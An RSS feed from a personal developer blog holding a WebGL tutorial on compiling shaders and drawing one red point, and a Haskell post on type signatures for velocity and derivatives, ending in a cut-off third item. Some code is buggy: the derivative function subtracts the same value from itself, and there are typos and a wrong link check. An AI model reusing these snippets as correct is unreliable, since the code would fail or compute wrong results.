<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Creativity, cognitive science and Full-Stack Software Development | Jorch's Mini Blog]]></title><description><![CDATA[Insights form cognitive science, philosophy and maths into the world of software development. Also, very cute drawings inside!]]></description><link>https://blog.jrlgs.dev</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1647060155308/7tiwAudGN.png</url><title>Creativity, cognitive science and Full-Stack Software Development | Jorch&apos;s Mini Blog</title><link>https://blog.jrlgs.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 12 Apr 2026 12:42:00 GMT</lastBuildDate><atom:link href="https://blog.jrlgs.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[WebGL. Or... how to draw a single point, the hard way.]]></title><description><![CDATA[This time let's start with WebGL. For today let's walk through setting up a project and writing a basic WebGL program.
If you are familiar with Three.js, you will notice that WebGL is much much more low level.
WebGL is just an API for using the GPU t...]]></description><link>https://blog.jrlgs.dev/webgl-or-how-to-draw-a-single-point-the-hard-way</link><guid isPermaLink="true">https://blog.jrlgs.dev/webgl-or-how-to-draw-a-single-point-the-hard-way</guid><category><![CDATA[WebGL]]></category><category><![CDATA[TypeScript]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[3d]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Fri, 20 Jan 2023 03:58:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674187014581/bbe7dd00-9e1d-480e-a596-339281b2e3ba.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This time let's start with WebGL. For today let's walk through setting up a project and writing a basic WebGL program.</p>
<p>If you are familiar with Three.js, you will notice that WebGL is much <em>much</em> more low level.</p>
<p>WebGL is just an API for using the GPU to draw pixels on the screen. It is not, contrary to what you may think, a 3D graphics library.</p>
<p>There is <em>a lot</em> of work before we can draw triangles on the screen...</p>
<h2 id="heading-initial-setup">Initial Setup</h2>
<p>You can set up your project however you want. I am using Vite with plain TypeScript. My folder structure looks something like this:</p>
<pre><code class="lang-plaintext">./root
|-- src
   |-- utils
     |-- WebGLUtils.ts
   |-- webgl_programs
     |-- simple_program
       |-- shaders
         |-- fragment.glsl
         |-- vertex.glsl
       |-- simple.module.ts
   |-- main.ts
   |-- style.css
|-- index.html
|-- package.json
|-- tsconfig.json
</code></pre>
<p>Nothing too complicated if you have used Vite or some other frontend tooling before.</p>
<p>The only thing to note is those <code>.glsl</code> files. Those are <em>shaders</em> written in <em>GLSL</em>, a strongly typed language similar to C, and they are the code that is run by the GPU. We will get to that in a bit, don't worry!</p>
<p>As I am using Vite, I will use the ES Module style:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">canvas</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"webgl"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">canvas</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"module"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"./src/main.ts"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
</code></pre>
<p>We start with an HTML <code>canvas</code> element somewhere on our page as you can see above. Then, from <code>main.ts</code> we get a reference and get its webgl2 context.</p>
<pre><code class="lang-TypeScript"><span class="hljs-keyword">import</span> <span class="hljs-string">"./style.css"</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">main</span> (<span class="hljs-params"></span>) </span>{

    <span class="hljs-comment">// WebGL setup</span>
    <span class="hljs-keyword">const</span> canvas = <span class="hljs-built_in">document</span>.querySelector&lt;HTMLCanvasElement&gt;(<span class="hljs-string">"#webgl"</span>)
    <span class="hljs-keyword">const</span> gl = canvas.getContext(<span class="hljs-string">"webgl2"</span>)
}

<span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"DOMContentLoaded"</span>, <span class="hljs-function">() =&gt;</span> {
    main()
})
</code></pre>
<p>A few notes before continuing. First, I am writing this file as if it was an ES module, that's what the <code>type</code> attribute of the <code>&lt;script&gt;</code> tag means. Also, Vite will handle importing CSS files in this manner.</p>
<p>Second, I am not running the "main" function directly, nor am I using an immediate function invocation. Instead, I am just telling the browser to run <code>main()</code> when the <code>DOMContentLoaded</code> event is fired. This happens whenever the browser has finished loading the DOM. You shouldn't use the "load" event in this case.</p>
<p>Third, you may want to add some error handling. But I will omit some of that on the example code. Use your own judgment. For example:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> gl = canvas?.getContext(<span class="hljs-string">"webgl2"</span>)
<span class="hljs-keyword">if</span> (!gl) {
    <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"No webgl2 context"</span>)
    <span class="hljs-keyword">return</span>
}
gl.drawArrays(gl.POINTS, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>) <span class="hljs-comment">// this would crash if there is not gl context object</span>
</code></pre>
<h2 id="heading-the-deal-with-webgl">The Deal with WebGL</h2>
<p>WebGL is just a fancy way to use the GPU to draw pixels on the screen. Of course, <em>using the GPU involves some</em> complications. But I will not explain those here. I'll save that for another post :D</p>
<blockquote>
<p>And, though you may not finish reading this article thinking like that, it indeed is a FANCY way to draw with the GPU.</p>
<p>It is quite a high-level API, compared to other graphics APIs like Vulkan... (which I may write about in the future)</p>
</blockquote>
<h3 id="heading-the-webgl-context">The WebGL Context</h3>
<p>You can think of WebGL as a <em>state machine</em>. You start with a reference to <code>gl</code>, which is of type <code>WebGLRenderingContext</code> or <code>WebGL2RenderingContext</code> (depending on which version of WebGL you are using).</p>
<p>Then you run a bunch of methods to "setup" the state of the WebGL context.</p>
<p>For example:</p>
<pre><code class="lang-typescript">...

gl.clearColor(<span class="hljs-number">1.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">1.0</span>) <span class="hljs-comment">// RGBA values</span>
gl.useProgram(shaderProgram) <span class="hljs-comment">// some WebGL 'program' to be used</span>
gl.clear(gl.COLOR_BUFFER_BIT) <span class="hljs-comment">// clear the color buffer</span>

<span class="hljs-keyword">let</span> vertices = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Float32Array</span>([ <span class="hljs-comment">// vertices of a triangle</span>
    <span class="hljs-number">0.0</span>, <span class="hljs-number">0.5</span>,  <span class="hljs-number">-0.0</span>, <span class="hljs-number">-0.5</span>,   <span class="hljs-number">0.5</span>, <span class="hljs-number">-0.5</span>
])

<span class="hljs-comment">// create a vertex buffer object to hold the vertices data</span>
<span class="hljs-keyword">let</span> vertexBuffer = gl.createBuffer();

<span class="hljs-comment">// bind the ARRAY_BUFFER of webgl to the vertex buffer object </span>
gl.bindBuffer(gl.ARRAY_BUFFER, vertexBuffer);
gl.bufferData(gl.ARRAY_BUFFER, vertices, gl.STATIC_DRAW)

<span class="hljs-comment">// setup webgl to pass vertex data to the bound shaders in gl.program</span>
<span class="hljs-keyword">let</span> a_Position = gl.getAttibLocation(gl.program, <span class="hljs-string">"a_Position"</span>)
gl.vertexAttribPointer(a_Position, <span class="hljs-number">2</span>, gl.FLOAT, <span class="hljs-literal">false</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>)
gl.enableVertexAttribArray(a_Position)


gl.drawArrays(gl.POINTS, <span class="hljs-number">0</span>, <span class="hljs-number">3</span>) <span class="hljs-comment">// actually draw something</span>
</code></pre>
<p>Don't worry if nothing here makes sense. In this example, the only line that actually <em>does something</em> is <code>gl.drawArrays()</code>. It draws to the screen, as you may expect.</p>
<p>However, we should ask <em>what does it draw?</em> It draws whatever the <em>current</em> state of the buffer indicated by <code>gl.ARRAY_BUFFER</code> of the WebGL context is at the moment.</p>
<p>All those previous lines are setting up the state that should be rendered when <code>gl.drawArrays()</code> is called.</p>
<p>Shaders then...</p>
<h3 id="heading-a-hand-wavy-introduction-to-the-graphics-pipeline">A Hand-wavy Introduction to the <em>Graphics Pipeline</em></h3>
<p>Once the <code>gl.drawArrays()</code> function is called, all the data on the current state is used to ask the GPU to draw. This process is called the <em>graphics pipeline</em> and roughly consists of several steps:</p>
<p>First, get all the vertex data and compute, per vertex, its position on the screen once projected from 3D World-Space to Screen-space.</p>
<p>Second, the GPU needs to compute which pixels on the screen correspond to each triangle of the mesh being drawn to the screen. We call those pixels <em>fragments</em>.</p>
<p>Third, the GPU needs to compute, per fragment, the final color for the fragment, depending on the lighting, material, and so.</p>
<p>Finally, the GPU needs to merge all the fragments for all the triangles for all the meshes being rendered, in a way that makes sense. And output a <em>framebuffer</em> which you can think of as an array of pixel colors to be passed to the HTML canvas.</p>
<p>The first and third stages of the process are user-defined (we decide how to process the vertices and the fragments). A <em>shader</em> is a program that will be run per vertex and fragment.</p>
<p>There are <em>vertex shaders</em> and <em>fragment shaders</em>, respectively. Together they form a <em>shader program</em>.</p>
<p>Ok enough theory. Let's write a WebGL program!</p>
<h2 id="heading-a-simple-program">A simple program</h2>
<p>Let's first add a couple of new folders and files to our project.</p>
<pre><code class="lang-TypeScript"><span class="hljs-keyword">import</span> <span class="hljs-string">"./style.css"</span>

<span class="hljs-keyword">import</span> * <span class="hljs-keyword">as</span> SimpleProgram <span class="hljs-keyword">from</span> <span class="hljs-string">"./webgl_programs/simple_program/simple.module"</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">main</span> (<span class="hljs-params"></span>) </span>{

    <span class="hljs-comment">// WebGL setup</span>
    <span class="hljs-keyword">const</span> canvas = <span class="hljs-built_in">document</span>.querySelector&lt;HTMLCanvasElement&gt;(<span class="hljs-string">"#webgl"</span>)
    <span class="hljs-keyword">const</span> gl = canvas.getContext(<span class="hljs-string">"webgl2"</span>)

    SimpleProgram.run(gl)
}

<span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">"DOMContentLoaded"</span>, <span class="hljs-function">() =&gt;</span> {
    main()
})
</code></pre>
<p>I made a <code>webgl_programs</code> folder for the applications we will write. Inside it I also created a <code>shaders</code> folder, which we will se later. Let's for now look at the "simple_program":</p>
<pre><code class="lang-typescript">
<span class="hljs-keyword">import</span> vertexShaderSource <span class="hljs-keyword">from</span> <span class="hljs-string">"./shaders/vert.glsl?raw"</span>;
<span class="hljs-keyword">import</span> fragmentShaderSource <span class="hljs-keyword">from</span> <span class="hljs-string">"./shaders/frag.glsl?raw"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params">gl: WebGL2RenderingContext</span>) </span>{

<span class="hljs-comment">// load and init shader program</span>

<span class="hljs-comment">// set attributes</span>

<span class="hljs-comment">// render</span>

}
</code></pre>
<p>So the run function above just executes whatever we put here. We can see that there are three parts for our program.</p>
<h3 id="heading-load-and-init-shaders">Load and init shaders</h3>
<p>Maybe you are curious about the weird lines:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> vertexShaderSource <span class="hljs-keyword">from</span> <span class="hljs-string">"./shaders/vert.glsl?raw"</span>;
<span class="hljs-keyword">import</span> fragmentShaderSource <span class="hljs-keyword">from</span> <span class="hljs-string">"./shaders/frag.glsl?raw"</span>;
</code></pre>
<p>if you had never seen those imports with the <code>"...?raw"</code> at the end, those are a way to let Vite know we want to keep whatever is on the file as a string on the named identifier. Our shader source code is just a string. We will let WebGL compile it later.</p>
<p>Look now at the part of our program that inits our shaders and creates our <em>shader program</em>.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span> (<span class="hljs-params">gl:WebGL2RenderingContext</span>) </span>{

    <span class="hljs-comment">// init vertex shader</span>
    <span class="hljs-keyword">let</span> vertexShader = gl.createShader(gl.VERTEX_SHADER);
    <span class="hljs-keyword">if</span> (!vertexShader) {
        <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Failed to create vertex shader"</span>);
        <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;
    }
    gl.shaderSource(vertexShader, vertexShaderSource);
    gl.compileShader(vertexShader);
    <span class="hljs-keyword">if</span> (!gl.getShaderParameter(vertexShader, gl.COMPILE_STATUS)) {
        <span class="hljs-built_in">console</span>.error(<span class="hljs-string">`Failed to compile shader: <span class="hljs-subst">${gl.getShaderInfoLog(vertexShader)}</span>`</span>);
    }

    <span class="hljs-comment">// init fragment shader</span>
    <span class="hljs-keyword">let</span> fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
    <span class="hljs-keyword">if</span> (!fragmentShader) {
        <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Failed to create fragment shader"</span>);
        <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;
    }
    gl.shaderSource(fragmentShader, fragmentShaderSource);
    gl.compileShader(fragmentShader);
    <span class="hljs-keyword">if</span> (!gl.getShaderParameter(fragmentShader, gl.COMPILE_STATUS)) {
        <span class="hljs-built_in">console</span>.error(<span class="hljs-string">`Failed to compile shader: <span class="hljs-subst">${gl.getShaderInfoLog(fragmentShader)}</span>`</span>);
    }

    <span class="hljs-comment">// create shader program</span>
    <span class="hljs-keyword">let</span> program = gl.createProgram()
    <span class="hljs-keyword">if</span> (!program) {
        <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Failed to create program"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>
    }

    gl.attachShader(program, vertexShader)
    gl.attachShader(program, fragmentShader)
    gl.linkProgram(program)

    <span class="hljs-keyword">if</span> (!program) {
    <span class="hljs-built_in">console</span>.error(<span class="hljs-string">`Failed to link program: <span class="hljs-subst">${gl.getProgramInfoLog(program)}</span>`</span>)
        gl.deleteProgram(program)
        gl.deleteShader(program)
        gl.deleteProgram(program)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>
    }

    gl.useProgram(program)

}
</code></pre>
<p>A few notes. No doubt you think that it is very verbose. At each step, we are telling the WebGL context to do something, imperatively.</p>
<p>For example, we need to create a <code>WebGLShader</code> object and then tell WebGL to set the source of <em>some</em> shader using <code>gl.shaderSource()</code>. You may have expected something like this:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">let</span> vertexShader = gl.createShader(gl.VERTEX_SHADER)
vertexShader.setSource(vertexShaderSource)
</code></pre>
<p>However, we have to use this idiom instead:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">let</span> vertexShader = gl.createShader(gl.VERTEX_SHADER)
gl.shaderSource(vertexShader, vertexShaderSource)
</code></pre>
<blockquote>
<p>The <code>gl.VERTEX_SHADER</code> parameter is just a number under the hood. However, the API expects a WebGL constant. All of which are of type <code>GLEnum</code>, which is a 32-bit number of type <code>unsigned long</code>. Whenever the API expects such constants, you should use the appropriate constant retrieved as <code>gl.&lt;constant&gt;</code> form the <code>gl</code> context.</p>
</blockquote>
<p>Similarly with this part:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">let</span> program = gl.createProgram()
...
gl.attachShader(program, vertexShader)
gl.attachShader(program, fragmentShader)
gl.linkProgram(program)
...
gl.useProgram(program)
</code></pre>
<p>You may have expected something like:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">let</span> program = gl.createProgram()
...
program.attachShader(vertexShader)
program.attachShader(fragmentShader)
program.link()
...
gl.useProgram(program)
</code></pre>
<p>WebGL's API mirrors OpenGL's closely which is a C API. So, no object-oriented-style methods. The more you read WebGL programs the more used to them you get.</p>
<p>By now, you should be able to go back and understand the entire snippet above that creates a shader program to be used on the graphics pipeline. Make sure to browse the WebGL API docs.</p>
<blockquote>
<p>I have big expectations of you. So no hand-holding! :D</p>
</blockquote>
<h3 id="heading-glsl">GLSL</h3>
<p>Remember that GLSL is a low level strictly typed language similar to C. It is intended to be compiled by WebGL and run on the GPU.</p>
<p>Before continuing with the rest of the program, here's the code for the vertex shader.</p>
<pre><code class="lang-c">attribute vec4 a_Position;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    gl_Position = a_Position;
    gl_PointSize = <span class="hljs-number">10.0</span>;
}
</code></pre>
<p>And the fragment shader</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">main</span> <span class="hljs-params">()</span> </span>{
    gl_FragColor = vec4(<span class="hljs-number">1.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">1.0</span>)
}
</code></pre>
<p>For now, the only relevant thing is that <code>attribute</code> keyword. It means that there is a piece of data that we will send from our javascript application to the GPU. So the shader will get as input some <code>a_Position</code> value of type <code>vec4</code>, which is just a list of four floating point numbers.</p>
<p>The vertex shader has some pre-defined outputs we can set. For instance <code>gl_Position</code> is the computed position of the vertex.</p>
<blockquote>
<p>Remember that the vertex shader is run once per vertex.</p>
</blockquote>
<p>Similarly, the fragment shader has <code>gl_FragColor</code> as output. It is the color of the pixel for the fragment.</p>
<blockquote>
<p>Again, the fragment shader is run per fragment, or pixel, that forms part of each triangle projected on the screen.</p>
</blockquote>
<h3 id="heading-passing-attributes-to-the-shader-program">Passing attributes to the shader program</h3>
<p>Let's go back to javascript. After initializing our shaders and creating our program we tell WebGL that we want to set the <code>a_Position</code> attribute of the vertex shader to some value we are going to calculate:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span> (<span class="hljs-params">gl:WebGL2RenderingContext</span>)

    ...
    // <span class="hljs-title">create</span> <span class="hljs-title">program</span>
    ...

    // <span class="hljs-title">set</span> <span class="hljs-title">attributes</span>
    <span class="hljs-title">let</span> <span class="hljs-title">a_Pos</span> = <span class="hljs-title">gl</span>.<span class="hljs-title">getAttribLocation</span>(<span class="hljs-params">program, "a_Position"</span>)</span>;
    <span class="hljs-keyword">if</span> (a_Pos &lt; <span class="hljs-number">0</span>) {
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Failed to get location of a_Position"</span>);
    }

    gl.vertexAttrib3f(a_Pos, <span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>);

    <span class="hljs-comment">//render</span>
    ...
}
</code></pre>
<p>Read the snippet carefully and make sure you understand it. (Search on the docs if needed). We are getting the "location" of the <code>a_Position</code> attribute on the <code>program</code> we created before. Recall that this <code>program</code> has our vertex shader attached. Then WebGL returns a reference to that location.</p>
<p>Finally, we tell WebGL to send the value <code>(0.0, 0.0, 0.0)</code> to the gpu to be available on that attribute.</p>
<h3 id="heading-rendering-a-single-point">Rendering a single point</h3>
<p>Until now, everything we have done is BOILERPLATE. Necessary for our grand rendering code:</p>
<pre><code class="lang-typescript"><span class="hljs-comment">// render</span>
gl.clearColor(<span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">0.0</span>, <span class="hljs-number">1.0</span>);
gl.clear(gl.COLOR_BUFFER_BIT);
gl.drawArrays(gl.POINTS, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>);
</code></pre>
<p>Actually. it is only this line that renders a point:</p>
<pre><code class="lang-typescript">gl.drawArrays(gl.POINTS, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>)
</code></pre>
<p>But as you may imagine, <em>what</em> is drawn to the screen depends on the current state of WebGL at the moment <code>gl.drawArrays()</code> is called. All of our hard work has been put into telling WebGL with minute detail <em>how to draw</em> what we want!</p>
<h2 id="heading-so">So...</h2>
<p>The result is nothing short of spectacular:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674183536983/20f6f3ce-c936-445e-bbde-26365a079ae0.png" alt="Result of our hard work drawing a single point with WebGL" class="image--center mx-auto" /></p>
<p>While this may not <em>look to</em>o exciting, keep in mind that this red dot is being rendered on the GPU.</p>
<p>Unlike the HTML canvas, this is probably several orders of magnitude faster. All this complication is necessary when we want to do more computationally complicated stuff...</p>
<p>...Like a 3D rendering engine.</p>
<p>Once we have reached this point we have enough background knowledge to draw pretty much anything (that doesn't mean it will be easy though!)</p>
<blockquote>
<p>A combination of the basic techniques we saw here and throwing an obscene amount of math at the computer will indeed be enough to write our own 3D engine!</p>
</blockquote>
<h2 id="heading-epilogue">Epilogue.</h2>
<p>I want to write a series of short posts about what I learn. The idea is that I want to (hopefully) produce daily posts.</p>
<p>My job is somewhere in between Full-stack Web Development and 3D Graphics. I work with three.js and more recently WebGL.</p>
<blockquote>
<p>Shout out to Hashnode as I got my job thanks to my blog here! :D</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Type signatures in Haskell]]></title><description><![CDATA[If you are a dynamically typed programmer you probably are not super familiar with type signatures. (Perhaps even if you are an avid TypeScript user!)
In the following example, I will try to demonstrate with a practical example why we would like to u...]]></description><link>https://blog.jrlgs.dev/type-signatures-in-haskell</link><guid isPermaLink="true">https://blog.jrlgs.dev/type-signatures-in-haskell</guid><category><![CDATA[Haskell]]></category><category><![CDATA[Functional Programming]]></category><category><![CDATA[Types]]></category><category><![CDATA[TypeScript]]></category><category><![CDATA[JavaScript]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Sun, 04 Dec 2022 22:15:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1670192075924/CeSGvsbDm.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you are a <em>dynamically typed</em> programmer you probably are not super familiar with type signatures. (Perhaps even if you are an avid TypeScript user!)</p>
<p>In the following example, I will try to demonstrate with a practical example <em>why</em> we would like to use type signatures. The example is in Haskell, but the syntax is easy enough.</p>
<h2 id="heading-example-the-motion-of-a-particle">Example: the motion of a particle</h2>
<p>Suppose we have a particle moving over a straight line. Let's say its position at time \(t\) is given by the function \(x(t)\).</p>
<p>Consider now an interval of time \(\Delta t = t_1 - t_0\) for an initial time \(t_0\). Then the <em>average velocity</em> of the particle over the interval of time is given by the function:</p>
<p>$$v_{t_0}{(t_1)}=\frac{x(t_1)-x(t_0)}{t_1 - t_0}$$</p>
<p>Let's see how we can express this in Haskell.</p>
<pre><code class="lang-haskell"><span class="hljs-title">averageVelocity</span>::<span class="hljs-type">Time</span>-&gt;<span class="hljs-type">Time</span>-&gt;<span class="hljs-type">PositionFunction</span>-&gt;<span class="hljs-type">Velocity</span>
<span class="hljs-title">averageVelocity</span> t0 t1 x = (x t1 - x t0) / (t1 - t0)
</code></pre>
<p>Note that <code>x</code> is a function of some <code>PositionFunction</code> type. And is being given as an argument to <code>averageVelocity</code>.</p>
<p>But the type of <code>x</code> could also be:</p>
<pre><code class="lang-haskell"><span class="hljs-title">x</span>::<span class="hljs-type">Time</span>-&gt;<span class="hljs-type">Positon</span>
</code></pre>
<p>Therefore, <code>averageVelocity</code> may have the type signature</p>
<pre><code class="lang-haskell"><span class="hljs-title">averageVelocity</span>::<span class="hljs-type">Time</span>-&gt;<span class="hljs-type">Time</span>-&gt;(<span class="hljs-type">Time</span>-&gt;<span class="hljs-type">Position</span>)-&gt;<span class="hljs-type">Velocity</span>
</code></pre>
<p>But note that "time", "position" and "velocity" are just numbers. Inside the computer, they are just <code>float</code> or <code>double</code>. So why would we not instead do this:</p>
<pre><code class="lang-haskell"><span class="hljs-title">averageVelocity</span>::float-&gt;float-&gt;(float-&gt;float)-&gt;float
</code></pre>
<h2 id="heading-type-synonyms">Type synonyms</h2>
<p>Furthermore, in Haskell we can define <em>type synonyms</em>:</p>
<pre><code class="lang-haskell"><span class="hljs-class"><span class="hljs-keyword">type</span> <span class="hljs-type">R</span> = float </span>

<span class="hljs-class"><span class="hljs-keyword">type</span> <span class="hljs-type">Time</span> = <span class="hljs-type">R</span></span>
<span class="hljs-class"><span class="hljs-keyword">type</span> <span class="hljs-type">Position</span> = <span class="hljs-type">R</span></span>
<span class="hljs-class"><span class="hljs-keyword">type</span> <span class="hljs-type">Velocity</span> = <span class="hljs-type">R</span></span>

<span class="hljs-class"><span class="hljs-keyword">type</span> <span class="hljs-type">PositionFunction</span> = <span class="hljs-type">Time</span>-&gt;<span class="hljs-type">Position</span></span>

<span class="hljs-title">averageVelocity</span>::<span class="hljs-type">Time</span>-&gt;<span class="hljs-type">Time</span>-&gt;<span class="hljs-type">PositionFunction</span>-&gt;<span class="hljs-type">Velocity</span>
</code></pre>
<p>This makes the code much clearer. And whenever there is an error, the compiler will tell us something about the <em>type</em> involved.</p>
<h2 id="heading-the-meaning-of-function-signatures">The meaning of function signatures</h2>
<p>Let's try something more interesting. Usually, when modeling the motion of a particle we are interested in its <em>instantaneous</em> velocity. Not the average over an interval. We need to model the derivative of the position function for this.</p>
<p>$$\frac{dx(t)}{dt}=v(t)= \lim_{\Delta t \rightarrow 0} \frac{x(t+\Delta t/2)-x(t-\Delta t/2)}{\Delta t}$$</p>
<p>Note that the left side of the equation takes as input for the derivative operator. Which is a function. We may write \(D(x(t)) = v(t)\) if we want to be more explicit.</p>
<blockquote>
<p>If you are keen-eyed you may have noticed that I treated <em>operators</em> as if they were <em>functions</em>. That is because they are! As an example, the "addition" operator \(+\) is just a function \(+: \mathbb{R} \times \mathbb{R} \rightarrow \mathbb{R}\). So for two numbers \(a, b\) their sum is given by \(a+b=c\) which is just syntactic sugar for \(+(a,b) = c\). Because \(+\) is just a function!</p>
</blockquote>
<p>Let's attempt to write the type signature for a derivative in Haskell!</p>
<pre><code class="lang-haskell"><span class="hljs-class"><span class="hljs-keyword">type</span> <span class="hljs-type">Derivative</span> = (<span class="hljs-type">R</span>-&gt;<span class="hljs-type">R</span>)-&gt;<span class="hljs-type">R</span>-&gt;<span class="hljs-type">R</span></span>
</code></pre>
<p>We are expressing that the type <code>Derivative</code> is a <em>function type</em>, for a function that takes a function with signature <code>R-&gt;R</code> as input and a function with signature <code>R-&gt;R</code> as output.</p>
<p>However, look at the following:</p>
<pre><code class="lang-haskell"><span class="hljs-title">evaluateDerivative</span>::<span class="hljs-type">R</span>-&gt;<span class="hljs-type">Derivative</span>
<span class="hljs-title">evaluateDerivative</span> dt x t = (x (t+dt/<span class="hljs-number">2</span>) - x (t+dt/<span class="hljs-number">2</span>)) / dt
</code></pre>
<p>This may seem <em>wrong</em> to you. Isn't <code>evaluateDerivative</code> supposed to take a single value of type <code>R</code> and return a function of type <code>Derivative</code>?</p>
<p>Yes and No. We can rewrite the signature as:</p>
<pre><code class="lang-haskell"><span class="hljs-title">evaluateDerivative</span>::<span class="hljs-type">R</span>-&gt;<span class="hljs-type">R</span>-&gt;<span class="hljs-type">R</span>-&gt;<span class="hljs-type">R</span>-&gt;<span class="hljs-type">R</span>
</code></pre>
<p>This way, believe it or not, we are telling the compiler that <em>whatever fits that signature</em> is a valid parameter. Functions and values are the same <em>kind</em> of thing in Haskell.</p>
<p>So <code>evaluateDerivative</code> as we defined above takes a very small interval <code>dt</code> (in place for taking the limit), a <em>function</em> <code>x::R-&gt;R</code>, and a time value <code>t</code>. And returns the result of evaluating \(\frac{dx(t)}{dt}\).</p>
<p>Yet. If this is so, then we have at least <em>three</em> functions with quite different meanings:</p>
<ul>
<li><p><code>differential</code> One that takes a single interval \(\Delta t\) of type <code>R</code> as input and outputs a <em>function</em> \(D\) with signature <code>(R-&gt;R)-&gt;(R-&gt;R)</code> which takes a position function \(x(t)\) and outputs its derivative \(v(t)\). That is \(D(x) = \frac{dx}{dt}\). This is a "generic" differentiation function.</p>
</li>
<li><p><code>evaluateDerivative</code> A function that takes three arguments \(\Delta t\),\(x(t)\), \(t_i\) and outputs the result of evaluating the derivative of \(x\) at time \(t_i\). That is, \(v(t_i)\), a single numeric value that has type <code>R</code>.</p>
</li>
<li><p><code>getDerivative</code> A function that takes two arguments \(\Delta t\) and \(x(t)\) of type <code>R</code> and <code>R-&gt;R</code>, respectively. And returns the derivative of \(x\), with type <code>R-&gt;R</code>.</p>
</li>
</ul>
<p>All three of them have the <em>exact same code</em>. The only difference is whether we use the type signature and name to remind <em>us</em> of what they do.</p>
<blockquote>
<p>You may now be wondering how on earth can three different functions have the exact same code? The Haskell compiler can by default curry a function when not all parameters are provided. That is, it does partial application whenever needed.</p>
</blockquote>
<h2 id="heading-so">So...?</h2>
<p>They are all the same. We get all of that versatility just from the types (and partial application).</p>
<p>Keep in mind that code, functions, objects, variables and so are just <em>data</em> to the computer. The difference is only <em>how we think about it</em>.</p>
<p>Having a type system allows you to think about your programs in terms of higher abstractions.</p>
<p>That may (or may not) be what you want or need... As with anything in software, it depends. There are always tradeoffs!</p>
<p>:D</p>
]]></content:encoded></item><item><title><![CDATA[Reasoning with Numbers]]></title><description><![CDATA[I want to offer a course about algorithms. Somewhat rigorous, but at the same
time accessible.
But we need to start with some basics first. We will start by getting a taste of
